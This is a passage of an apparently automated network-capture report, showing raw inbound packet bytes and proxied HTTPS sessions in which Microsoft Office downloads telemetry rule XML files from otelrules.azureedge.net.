Nov 21, 2024 22:06:19.475187063 CET	1236	IN	Data Raw: d6 ea 66 c9 cb bf c6 d3 8f 05 72 82 c2 f9 4b 71 93 b0 00 14 a3 ac 00 a6 7b 69 4a 8f 59 f6 a5 d9 92 dd ee 66 9d 5f 37 4f 71 84 42 b2 b4 63 ff e4 3c 50 fe ac 37 b5 45 e3 cf 8a a7 ca 32 e6 4a 35 2e ca fd cd 44 10 68 99 42 de e6 28 00 ec 3b 16 16 5c Data Ascii: frKq{iJYf_7OqBc<P7E2J5.DhB(;\W"8/' qN(E(@oWM59/C/9C6iIrx~8D?LKQ~"8oRP,edeQZ
Nov 21, 2024 22:06:19.475258112 CET	1236	IN	Data Raw: 9a 0a ce b4 72 c7 46 07 b2 54 15 e1 22 e2 61 00 1e f5 79 b1 c7 f6 2d 36 0c fd e0 20 d7 64 85 7e f6 1d 83 7d 54 22 e3 8d bc ae 58 17 7d 9d f1 3a 76 1f 17 8a 05 56 4c a7 36 de a8 88 9a ac 6f 46 df 0e bf 36 79 33 63 b9 11 a3 73 10 a7 5c b6 01 55 67 Data Ascii: rFT"ay-6 d~}T"X}:vVL6oF6y3cs\UgA0+FrO/@TrQ_-R+OzeUz(&61Sci$1]YLnj*/u,u,NDx&L=R&\q~)
Nov 21, 2024 22:06:19.597341061 CET	1236	IN	Data Raw: de 17 4c 9c 22 a3 ab 81 6b 3b 49 30 2a 0b d2 41 a6 49 51 bd 25 6e d7 8c 5b 1c 02 be c2 15 a0 53 f2 a2 1e d9 8b aa ee 4a 9c b4 6a 74 ba 0d 7a 43 61 6c 64 81 22 94 63 74 23 36 17 2e f4 0c 02 99 33 90 24 ca b6 3c f8 97 e1 f8 01 02 b7 a2 64 a1 b7 d4 Data Ascii: L"k;I0AIQ%n[SJjtzCald"ct#6.3$<db28")tD{J>/j2easB\|=X]Yh]Ew?yTT:VDWw?OO$HEc[N7]w^)YwuKcrHI]Mu

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.7	49701	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:15 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:15 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:15 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Tue, 19 Nov 2024 16:37:24 GMT ETag: "0x8DD08B87243495C" x-ms-request-id: b5254561-a01e-0070-0158-3b573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210415Z-178bfbc474bv7whqhC1NYC1fg400000001xg00000000y21d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:15 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-21 21:04:15 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-21 21:04:16 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-21 21:04:16 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-21 21:04:16 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-21 21:04:16 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-21 21:04:16 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-21 21:04:16 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-21 21:04:16 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-21 21:04:16 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.7	49706	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:18 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:18 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:18 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 8753231e-501e-008f-038c-3a9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210418Z-r1d97b99577ckpmjhC1TEBrzs00000000awg00000000pe6n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:18 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.7	49704	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:18 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:18 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:18 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 1aa7a34d-201e-0096-3676-3bace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210418Z-178bfbc474b9fdhphC1NYCac0n00000001z000000000b1h8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:18 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.7	49705	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:18 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:18 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:18 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: f3d0c3d3-f01e-003c-676b-3b8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210418Z-178bfbc474b7cbwqhC1NYC8z4n00000001vg00000000s2rz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:04:18 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.7	49703	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:18 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:18 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:18 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: ac6669be-e01e-003c-668c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210418Z-174c587ffdfks6tlhC1TEBeza400000000kg000000006wu2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:18 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.7	49702	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:18 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:18 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:18 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 44ae66ae-301e-001f-7627-3caa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210418Z-178bfbc474bwlrhlhC1NYCy3kg00000001zg00000000nr58 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:18 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 